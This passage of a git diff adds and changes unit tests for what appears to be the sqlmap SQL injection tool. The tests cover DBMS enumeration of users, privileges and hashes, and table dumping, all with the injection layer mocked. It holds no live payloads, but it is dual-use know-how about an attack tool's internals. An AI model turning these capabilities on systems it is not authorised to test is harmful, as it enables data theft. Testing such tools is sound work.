"varchar"). - from lib.core.dicts import SYBASE_TYPES - self._pivot({"name": ["id", "name"], "usertype": ["7", "2"]}) - cols = self.handler.getColumns() - self.assertIn("testdb", cols) - # table key is identifier-normalized (may be schema-qualified) - tbls = cols["testdb"] - self.assertTrue(any("users" in t for t in tbls)) - colset = list(tbls.values())[0] - # the VALUE is the resolved type name, not the raw usertype number: - # proves the SYBASE_TYPES numeric->name mapping actually ran. - self.assertEqual(colset["id"], SYBASE_TYPES[7]) # "int" - self.assertEqual(colset["name"], SYBASE_TYPES[2]) # "varchar" - - def test_get_privileges(self): - # getPrivileges -> getUsers (pivot) then isDba (checkBooleanExpression). - # Drive the admin-set branch BOTH ways via the isDba oracle so the result - # is not forced by a constant-True stub. - conf.user = None - - # oracle True: every user is flagged DBA -> admins == all users - self._pivot({"name": ["sa", "guest"]}) - inject.checkBooleanExpression = lambda *a, **k: True - privs, admins = self.handler.getPrivileges() - self.assertIn("sa", privs) # users still enumerated as privilege keys - self.assertIn("guest", privs) - self.assertEqual(admins, set(["sa", "guest"])) - - # oracle False: nobody is a DBA -> admins is empty, but users still listed - _fresh_cached() - self._pivot({"name": ["sa", "guest"]}) - inject.checkBooleanExpression = lambda *a, **k: False - privs, admins = self.handler.getPrivileges() - self.assertIn("sa", privs) - self.assertEqual(admins, set()) - - def test_search_not_implemented(self): - # these intentionally return [] with a warning on Sybase - self.assertEqual(self.handler.searchDb(), []) - self.assertEqual(self.handler.searchTable(), []) - self.assertEqual(self.handler.searchColumn(), []) - - def test_get_hostname(self): - # not possible on Sybase; just must not raise - self.assertIsNone(self.handler.getHostname()) - - def test_get_statements(self): - self.assertEqual(self.handler.getStatements(), []) - - -# --------------------------------------------------------------------------- -# SAP MaxDB -# --------------------------------------------------------------------------- - -class TestMaxDBEnum(_EnumBase): - display_name = "SAP MaxDB" - dirname = "maxdb" - - def _pivot(self, *value_lists): - calls = list(value_lists) - - def fake(table, colList, count=None, blind=True, alias=None): - mapping = calls.pop(0) if calls else {} - entries = {} - lengths = {} - for col in colList: - vals = mapping.get(col.split(".")[-1], []) - entries[col] = list(vals) - lengths[col] = 0 - return entries, lengths - - self.em.pivotDumpTable = fake - - def test_get_dbs(self): - self._pivot({"schemaname": ["SYSTEM", "DOMAIN"]}) - dbs = self.handler.getDbs() - self.assertEqual(sorted(dbs), ["DOMAIN", "SYSTEM"]) - - def test_get_tables(self): - conf.db = "SYSTEM" - self._pivot({"tablename": ["USERS", "TABLES"]}) - tables = self.handler.getTables() - # db key is identifier-normalized (uppercase names get quoted) - self.assertEqual(len(tables), 1) - tbls = list(tables.values())[0] - self.assertEqual(sorted(tbls), ["TABLES", "USERS"]) - - def test_get_columns(self): - conf.db = "SYSTEM" - conf.tbl = "USERS" - self._pivot({ - "columnname": ["ID", "NAME"], - "datatype": ["INTEGER", "CHAR"], - "len": ["4", "32"], - }) - cols = self.handler.getColumns() - self.assertEqual(len(cols), 1) - tbls = list(cols.values())[0] - self.assertIn("USERS", tbls) - self.assertEqual(tbls["USERS"]["ID"], "INTEGER(4)") - - def test_get_privileges_empty(self): - self.assertEqual(self.handler.getPrivileges(), {}) - - def test_get_password_hashes_empty(self): - self.assertEqual(self.handler.getPasswordHashes(), {}) - - def test_get_hostname(self): - self.assertIsNone(self.handler.getHostname()) - - def test_get_statements(self): - self.assertEqual(self.handler.getStatements(), []) - - -# --------------------------------------------------------------------------- -# Microsoft SQL Server (methods NOT covered by test_dbms_enum.py) -# --------------------------------------------------------------------------- - -class TestMSSQLServerExtraEnum(_EnumBase): - display_name = "Microsoft SQL Server" - dirname = "mssqlserver" - - def test_get_privileges(self): - # getPrivileges -> getUsers (generic, inject.getValue) then isDba. - # Exercise the admin-set branch BOTH ways via the isDba oracle. - conf.user = None - inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] - - # oracle True: all users flagged DBA - inject.checkBooleanExpression = lambda *a, **k: True - privs, admins = self.handler.getPrivileges() - self.assertIn("sa", privs) - self.assertEqual(admins, set(["sa", "BUILTIN\\Administrators"])) - - # oracle False: none are DBA -> empty admin set, users still enumerated - _fresh_cached() - inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] - inject.checkBooleanExpression = lambda *a, **k: False - privs, admins = self.handler.getPrivileges() - self.assertIn("sa", privs) - self.assertEqual(admins, set()) - - def test_search_table(self): - conf.db = "testdb" - conf.tbl = "users" - # in-band branch: getValue returns matching table name(s) - inject.getValue = lambda q, *a, **k: ["users"] - # capture the discovered tables instead of dumping them - captured = {} - conf.dumper = _NoOpDumper() - self.handler.dumpFoundTables = lambda tables: captured.update(tables) - self.handler.searchTable() - # at least one database mapped to the matched table - flat = set() - for tbls in captured.values(): - flat.update(tbls) - self.assertTrue(any("users" in t for t in flat)) - - def test_search_column(self): - conf.db = "testdb" - conf.tbl = None - conf.col = "password" - # exact match (no wildcard) so no recursive getColumns call; - # getValue returns the tables that contain the column - inject.getValue = lambda q, *a, **k: ["users"] - captured = {} - conf.dumper = _NoOpDumper() - self.handler.dumpFoundColumn = lambda dbs, foundCols, colConsider: captured.update(dbs) - self.handler.searchColumn() - # the searched column was located in at least one table - flat = set() - for tbls in captured.values(): - flat.update(tbls) - self.assertTrue(any("users" in t for t in flat)) - - -# --------------------------------------------------------------------------- -# IBM DB2 -# --------------------------------------------------------------------------- - -class TestDB2Enum(_EnumBase): - display_name = "IBM DB2" - dirname = "db2" - - def test_get_password_hashes_empty(self): - self.assertEqual(self.handler.getPasswordHashes(), {}) - - def test_get_statements_empty(self): - self.assertEqual(self.handler.getStatements(), []) - - -# --------------------------------------------------------------------------- -# Informix -# --------------------------------------------------------------------------- - -class TestInformixEnum(_EnumBase): - display_name = "Informix" - dirname = "informix" - - def test_search_db(self): - self.assertEqual(self.handler.searchDb(), []) - - def test_search_table(self): - self.assertEqual(self.handler.searchTable(), []) - - def test_search_column(self): - self.assertEqual(self.handler.searchColumn(), []) - - def test_get_statements(self): - self.assertEqual(self.handler.getStatements(), []) - - -# --------------------------------------------------------------------------- -# Firebird -# --------------------------------------------------------------------------- - -class TestFirebirdEnum(_EnumBase): - display_name = "Firebird" - dirname = "firebird" - - def test_get_dbs_empty(self): - self.assertEqual(self.handler.getDbs(), []) - - def test_get_password_hashes_empty(self): - self.assertEqual(self.handler.getPasswordHashes(), {}) - - def test_search_db_empty(self): - self.assertEqual(self.handler.searchDb(), []) - - def test_get_hostname(self): - self.assertIsNone(self.handler.getHostname()) - - def test_get_statements_empty(self): - self.assertEqual(self.handler.getStatements(), []) - - -# --------------------------------------------------------------------------- -# HSQLDB -# --------------------------------------------------------------------------- - -class TestHSQLDBEnum(_EnumBase): - display_name = "HSQLDB" - dirname = "hsqldb" - - def test_get_banner(self): - conf.getBanner = True - kb.data.banner = None - # getValue returns a single-element LIST; getBanner pipes it through - # unArrayizeValue, which must unwrap it to the scalar banner string. - inject.getValue = lambda q, *a, **k: ["HSQLDB 2.5.1"] - banner = self.handler.getBanner() - self.assertEqual(banner, "HSQLDB 2.5.1") - - def test_get_privileges_empty(self): - self.assertEqual(self.handler.getPrivileges(), {}) - - def test_get_hostname(self): - self.assertIsNone(self.handler.getHostname()) - - def test_get_statements_empty(self): - self.assertEqual(self.handler.getStatements(), []) - - def test_get_current_db_default_schema(self): - from lib.core.settings import HSQLDB_DEFAULT_SCHEMA - self.assertEqual(self.handler.getCurrentDb(), HSQLDB_DEFAULT_SCHEMA) - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_deps.py b/tests/test_deps.py index 0f09e5cdd..91cabb5d6 100644 --- a/tests/test_deps.py +++ b/tests/test_deps.py @@ -56,7 +56,7 @@ class TestCheckDependencies(unittest.TestCase): # 'kinterbasdb' (Firebird driver) is essentially never installed, so the # probe must hit the except branch and emit a warning naming the library. try: - import kinterbasdb # noqa: F401 + __import__("kinterbasdb") self.skipTest("kinterbasdb is unexpectedly installed") except ImportError: pass diff --git a/tests/test_entries.py b/tests/test_entries.py new file mode 100644 index 000000000..d54a92bbc --- /dev/null +++ b/tests/test_entries.py @@ -0,0 +1,802 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for plugins/generic/entries.py (Entries), exercising dumpTable / +dumpAll / dumpFoundTables / dumpFoundColumn by MOCKING the injection layer +(lib.request.inject.getValue) and the dumper. + +No network and no DBMS are involved: conf.direct=True selects the simple inband +branches, or conf.direct=False with a BOOLEAN injection state selects the +inference (blind) branches; inject.getValue is patched to return canned rows in +the exact shape the methods parse, and conf.dumper is replaced with a recording +stub so we can assert on what each method produced (kb.data caches / returned +dicts). Every test restores all touched conf.* / kb.* / patched module attributes +in tearDown so nothing leaks. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms + +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD + +import plugins.generic.search as smod +import plugins.generic.entries as emod +import plugins.generic.custom as cmod +import plugins.generic.misc as mmod +from plugins.generic.entries import Entries + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_search_enum.py (inband TestEntries) +# --------------------------------------------------------------------------- # + +class _RecordingDumperSE(object): + """Minimal stand-in for conf.dumper that records calls instead of printing/writing.""" + + def __init__(self): + self.reset() + + def reset(self): + self.listed = [] # (header, elements) + self.dbTablesArg = None + self.dbColumnsArg = None + self.dbTableColumnsArg = None + self.tableValues = [] + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + def dbTableColumns(self, tableColumns, content_type=None): + self.dbTableColumnsArg = tableColumns + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntriesSE(Entries): + """Entries with cross-mixin collaborators stubbed (forceDbmsEnum/getCurrentDb/getColumns/getTables).""" + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # {db: {tbl: {col: type}}} + self.getTablesResult = {} # value assigned to kb.data.cachedTables + self.getColumnsCalls = [] + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _SearchEnumBase(unittest.TestCase): + def setUp(self): + # Save mutated globals + self._saved_conf = {k: conf.get(k) for k in ( + "db", "tbl", "col", "direct", "excludeSysDbs", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", + )} + self._saved_dumper = conf.get("dumper") + self._search_getValue = smod.inject.getValue + self._entries_getValue = emod.inject.getValue + self._search_readInput = smod.readInput + self._entries_readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + + set_dbms("MySQL") + conf.direct = True + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumper = _RecordingDumperSE() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + # Non-interactive prompts: collapse readInput to its default. + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return True if (default in (None, 'Y', 'y', True)) else False + return default + smod.readInput = _readInput + emod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._search_getValue + emod.inject.getValue = self._entries_getValue + smod.readInput = self._search_readInput + emod.readInput = self._entries_readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + + +class TestEntries(_SearchEnumBase): + def _entries_with_cols(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesSE() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + # --- dumpTable: inband (conf.direct) ------------------------------------ + + def test_dump_table_inband_rows(self): + e = self._entries_with_cols(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + # MySQL inband dump returns a list of [colVal, colVal] rows. + emod.inject.getValue = lambda *a, **k: [["1", "alice"], ["2", "bob"]] + + e.dumpTable() + + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(dumped["__infos__"]["table"], "users") + self.assertEqual(dumped["__infos__"]["db"], "testdb") + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_uses_foundData(self): + e = _TestEntriesSE() + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["x"]] + foundData = {"testdb": {"users": {"id": "int"}}} + + e.dumpTable(foundData=foundData) + + # foundData short-circuits column discovery: getColumns must not run. + self.assertEqual(e.getColumnsCalls, []) + self.assertIn("id", conf.dumper.tableValues[-1]) + + def test_dump_table_no_columns_skips(self): + e = _TestEntriesSE() + e.getColumnsResult = {} # discovery yields nothing + conf.db = "testdb" + conf.tbl = "ghost" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # No columns => no values dumped. + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_empty_entries(self): + e = self._entries_with_cols(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: None # no rows + + e.dumpTable() + # Nothing retrieved => dumpedTable empty => dbTableValues not called. + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_current_db(self): + e = self._entries_with_cols(db="testdb", tbl="users", cols=("id",)) + conf.db = None # triggers getCurrentDb() -> "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["7"]] + + e.dumpTable() + self.assertEqual(conf.db, "testdb") + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["7"]) + + def test_dump_table_multiple_db_error(self): + e = _TestEntriesSE() + conf.db = "a,b" + conf.tbl = "users" + conf.col = None + from lib.core.exception import SqlmapMissingMandatoryOptionException + self.assertRaises(SqlmapMissingMandatoryOptionException, e.dumpTable) + + def test_dump_table_get_tables_when_no_tbl(self): + e = _TestEntriesSE() + e.getTablesResult = {"testdb": ["users"]} + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = None + conf.col = None + emod.inject.getValue = lambda *a, **k: [["42"]] + + e.dumpTable() + # Tables were discovered via getTables, then the row dumped. + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["42"]) + + # --- dumpAll: single-db delegation -------------------------------------- + + def test_dump_all_single_db_delegates(self): + e = self._entries_with_cols(db="testdb", tbl="users", cols=("id",)) + # dumpAll with db set & tbl None must delegate straight to dumpTable. + conf.db = "testdb" + conf.tbl = None + conf.col = None + e.getTablesResult = {"testdb": ["users"]} + emod.inject.getValue = lambda *a, **k: [["9"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_generic_more.py (inband dump branches) +# --------------------------------------------------------------------------- # + +class _RecordingDumperGM(object): + """Recording stand-in for conf.dumper (no printing / file writing).""" + + def __init__(self): + self.tableValues = [] + self.sqlQueries = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + def sqlQuery(self, query, queryRes): + self.sqlQueries.append((query, queryRes)) + + +class _TestEntriesGM(Entries): + """Entries with cross-mixin collaborators stubbed. + + forceDbmsEnum / getCurrentDb / getColumns / getTables are normally supplied by + sibling mixins; we emulate column/table discovery by populating kb.data.cached* + from canned attributes, exactly as the production plugins do. + """ + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # assigned to kb.data.cachedColumns + self.getTablesResult = {} # assigned to kb.data.cachedTables + self.getColumnsCalls = [] + self.getTablesCalls = 0 + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + self.getTablesCalls += 1 + kb.data.cachedTables = dict(self.getTablesResult) + + +class _GenericBase(unittest.TestCase): + """Snapshot/restore for everything the generic mixins touch.""" + + _CONF_KEYS = ( + "db", "tbl", "col", "direct", "batch", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere", + "tmpPath", "sqlQuery", "sqlFile", "regKey", "regVal", "regData", + "regType", "osPwn", "osShell", "cleanup", "privEsc", + ) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + + self._saved_getValue = { + emod: emod.inject.getValue, + cmod: cmod.inject.getValue, + mmod: mmod.inject.getValue, + } + self._saved_goStacked = { + cmod: cmod.inject.goStacked, + mmod: mmod.inject.goStacked, + } + self._saved_emod_readInput = emod.readInput + self._saved_mmod_readInput = mmod.readInput + + self._saved_kb = { + "cachedColumns": kb.data.get("cachedColumns"), + "cachedTables": kb.data.get("cachedTables"), + "dumpedTable": kb.data.get("dumpedTable"), + "has_information_schema": kb.data.get("has_information_schema"), + "dumpKeyboardInterrupt": kb.get("dumpKeyboardInterrupt"), + "permissionFlag": kb.get("permissionFlag"), + "hintValue": kb.get("hintValue"), + "injection_data": kb.injection.data, + "bannerFp": kb.get("bannerFp"), + "os": kb.get("os"), + } + self._saved_forceDbms = kb.get("forcedDbms") + + conf.direct = True + conf.batch = True + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumperGM() + + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.data.has_information_schema = True + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return default in (None, 'Y', 'y', True) + return default + + emod.readInput = _readInput + mmod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + + for mod, fn in self._saved_getValue.items(): + mod.inject.getValue = fn + for mod, fn in self._saved_goStacked.items(): + mod.inject.goStacked = fn + emod.readInput = self._saved_emod_readInput + mmod.readInput = self._saved_mmod_readInput + + kb.data.cachedColumns = self._saved_kb["cachedColumns"] + kb.data.cachedTables = self._saved_kb["cachedTables"] + kb.data.dumpedTable = self._saved_kb["dumpedTable"] + kb.data.has_information_schema = self._saved_kb["has_information_schema"] + kb.dumpKeyboardInterrupt = self._saved_kb["dumpKeyboardInterrupt"] + kb.permissionFlag = self._saved_kb["permissionFlag"] + kb.hintValue = self._saved_kb["hintValue"] + kb.injection.data = self._saved_kb["injection_data"] + kb.bannerFp = self._saved_kb["bannerFp"] + kb.os = self._saved_kb["os"] + kb.forcedDbms = self._saved_forceDbms + + @staticmethod + def _force_os(os_name): + # Backend.setOs only assigns when kb.os is currently None; reset first so + # tests can deterministically pin the back-end OS. + kb.os = None + Backend.setOs(os_name) + + +class TestEntriesDumpTable(_GenericBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesGM() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_exclude_filters_columns(self): + set_dbms("MySQL") + e = self._entries(cols=("id", "secret")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertIn("id", dumped) + self.assertNotIn("secret", dumped) + + def test_exclude_all_columns_skips(self): + set_dbms("MySQL") + e = self._entries(cols=("secret",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # all columns excluded => "no usable column names" => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dumpwhere_rewrites_query(self): + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.dumpWhere = "id>5" + captured = {} + + def gv(query, *a, **k): + captured["query"] = query + return [["9"]] + + emod.inject.getValue = gv + e.dumpTable() + # agent.whereQuery folds conf.dumpWhere into the dump query + self.assertIn("id>5", captured["query"]) + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["9"]) + + def test_disablehashing_false_path(self): + # conf.disableHashing False => attackDumpedTable() is invoked; with no + # hashes present it must complete without raising and still emit values. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.disableHashing = False + emod.inject.getValue = lambda *a, **k: [["1", "alice"]] + + # Spy on attackDumpedTable: with disableHashing False it MUST be invoked + # after the values are dumped. A recorder replaces it so we can assert the + # call happened (and no real dictionary attack runs). + saved_attack = emod.attackDumpedTable + calls = {"n": 0} + emod.attackDumpedTable = lambda *a, **k: calls.__setitem__("n", calls["n"] + 1) + try: + e.dumpTable() + finally: + emod.attackDumpedTable = saved_attack + + self.assertEqual(calls["n"], 1) + self.assertEqual(conf.dumper.tableValues[-1]["__infos__"]["count"], 1) + + def test_missing_columns_skips_table(self): + # getColumns yields nothing for the targeted table => skip without fetching. + set_dbms("MySQL") + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"other": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + def test_multiple_tables_one_dumped(self): + set_dbms("MySQL") + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}, "posts": {"pid": "int"}}} + conf.db = "testdb" + conf.tbl = "users,posts" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + # both tables share the same cachedColumns dict => both dumped + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertIn("posts", tables) + + def test_metadb_suffix_db(self): + # A db whose name carries the METADB_SUFFIX must not get a "db" prefix in + # kb.dumpTable, and dumping still succeeds. + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + metadb = "x%s" % METADB_SUFFIX + e = self._entries(db=metadb, tbl="t", cols=("c",)) + conf.db = metadb + conf.tbl = "t" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["v"]] + + e.dumpTable() + self.assertEqual(list(conf.dumper.tableValues[-1]["c"]["values"]), ["v"]) + + +class TestEntriesDumpAll(_GenericBase): + def test_dumpall_multiple_dbs_tables(self): + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + e.getTablesResult = {"db1": ["t1"], "db2": ["t2"]} + # dumpTable re-discovers columns per (db, tbl); supply both. + e.getColumnsResult = { + "db1": {"t1": {"a": "int"}}, + "db2": {"t2": {"b": "int"}}, + } + emod.inject.getValue = lambda *a, **k: [["x"]] + + e.dumpAll() + # Every table contributed a values batch. + self.assertEqual(len(conf.dumper.tableValues), 2) + + def test_dumpall_list_cached_tables(self): + # cachedTables as a bare list => wrapped under {None: [...]}. + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + + # getTables sets cachedTables; emulate the list shape directly. + class _ListTables(_TestEntriesGM): + def getTables(self_inner, bruteForce=None): + kb.data.cachedTables = ["users"] + + e = _ListTables() + # dumpAll wraps a bare list as {None: [...]}; dumpTable then resolves the + # None db via getCurrentDb() -> "testdb", so columns live under "testdb". + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + # The bare-list None db must be resolved via getCurrentDb() -> "testdb" + # before the dump; assert the dumped __infos__ carries the real db (not + # None) for the requested "users" table. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dumpall_exclude_skips_table(self): + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + conf.exclude = "secret" + e.getTablesResult = {"db1": ["secret", "users"]} + e.getColumnsResult = {"db1": {"users": {"id": "int"}, "secret": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertNotIn("secret", tables) + + +class TestEntriesDumpFound(_GenericBase): + def _entries(self): + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + return e + + def test_dump_found_tables_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + # batch readInput -> 'Y' (boolean True) and 'a'/'a' for db/table choices. + e.dumpFoundTables({"testdb": ["users"]}) + self.assertTrue(conf.dumper.tableValues) + # The interactive selection must dump the REQUESTED db/table, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dump_found_tables_declined(self): + set_dbms("MySQL") + e = self._entries() + + def _no(message, default=None, checkBatch=True, boolean=False): + if boolean: + return False + return default + + emod.readInput = _no + emod.inject.getValue = lambda *a, **k: self.fail("must not dump when declined") + e.dumpFoundTables({"testdb": ["users"]}) + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_found_column_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + dbs = {"testdb": {"users": {"id": "int"}}} + e.dumpFoundColumn(dbs, foundCols=None, colConsider='1') + self.assertTrue(conf.dumper.tableValues) + # The selection must dump the REQUESTED db/table mapping, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_generic_enum_more.py (inference branches) +# --------------------------------------------------------------------------- # + +class _RecordingDumperInf(object): + def __init__(self): + self.tableValues = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntriesInf(Entries): + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} + self.getTablesResult = {} + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _EntriesBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = emod.inject.getValue + self._cbe = emod.inject.checkBooleanExpression + self._readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumperInf() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + emod.readInput = lambda *a, **k: (k.get("default") if k.get("default") is not None else (a[1] if len(a) > 1 else None)) + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + emod.inject.getValue = self._gv + emod.inject.checkBooleanExpression = self._cbe + emod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + kb.injection.data = self._saved_injection_data + + +class TestEntriesInference(_EntriesBase): + def _entries(self, db="testdb", tbl="users", 